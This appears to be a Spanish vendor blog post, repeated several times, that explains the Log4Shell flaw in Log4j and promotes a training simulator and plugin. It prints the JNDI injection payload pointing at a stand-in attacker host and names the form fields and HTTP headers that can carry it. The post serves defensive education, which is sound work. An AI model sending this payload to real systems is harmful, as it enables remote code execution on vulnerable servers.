La vulnerabilidad de Log4j explicada - Su vector de ataque y cómo prevenirla
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
En diciembre de 2021, se reveló una vulnerabilidad de seguridad crítica Log4Shell en la biblioteca Java Log4j. En este artículo, desglosamos la vulnerabilidad Log4Shell de la forma más sencilla para que entiendas lo básico y te presentamos una misión: un campo de juego en el que puedes intentar explotar un sitio web simulado utilizando los conocimientos de esta vulnerabilidad.
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Reservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
Haga clic en el siguiente enlace y descargue el PDF de este recurso.
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Ver el informeReservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
Índice
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Reservar una demostraciónDescargarRecursos para empezar
Temas y contenidos de la formación sobre código seguro
Nuestro contenido, líder en el sector, evoluciona constantemente para adaptarse al cambiante panorama del desarrollo de software teniendo en cuenta su función. Temas que cubren todo, desde IA a XQuery Injection, ofrecidos para una variedad de roles desde Arquitectos e Ingenieros a Product Managers y QA. Eche un vistazo a lo que ofrece nuestro catálogo de contenidos por tema y función.
Búsqueda: Aprendizaje líder en la industria para mantener a los desarrolladores por delante mitigando el riesgo.
Quests es una learning platform que ayuda a los desarrolladores a mitigar los riesgos de seguridad del software mediante la mejora de sus habilidades de codificación segura. Con rutas de aprendizaje curadas, desafíos prácticos y actividades interactivas, capacita a los desarrolladores para identificar y prevenir vulnerabilidades.
La potencia de OpenText Fortify + Secure Code Warrior
OpenText Fortify y Secure Code Warrior unen sus fuerzas para ayudar a las empresas a reducir riesgos, transformar a los desarrolladores en campeones de la seguridad y fomentar la confianza de los clientes. Más información aquí.
Recursos para empezar
Inyección indirecta y riesgos de seguridad de las herramientas de codificación agéntica
Cómo se engañó a un agente de codificación para que escribiera código propenso a inyecciones SQL, instalara herramientas de shell y tal vez incluso acechara a su usuario.
La Década de los Defensores: Secure Code Warrior Cumple Diez Años
Secure Code Warriorha permanecido unido, dirigiendo el barco a través de cada lección, triunfo y contratiempo durante toda una década. Estamos creciendo y listos para afrontar nuestro próximo capítulo, SCW 2.0, como líderes en gestión de riesgos para desarrolladores.
10 predicciones clave: Secure Code Warrior sobre la influencia de la IA y el diseño seguro en 2025
Las organizaciones se enfrentan a decisiones difíciles sobre el uso de la IA para apoyar la productividad a largo plazo, la sostenibilidad y el retorno de la inversión en seguridad. En los últimos años nos ha quedado claro que la IA nunca sustituirá por completo el papel del desarrollador. Desde las asociaciones entre IA y desarrolladores hasta las crecientes presiones (y confusión) en torno a las expectativas de seguridad por diseño, echemos un vistazo más de cerca a lo que podemos esperar durante el próximo año.
Codificación orientada al desarrollador.
Con seguridad.
Póngase en contacto con nosotros hoy mismo y haga de la seguridad del software una parte intrínseca de su proceso de desarrollo.
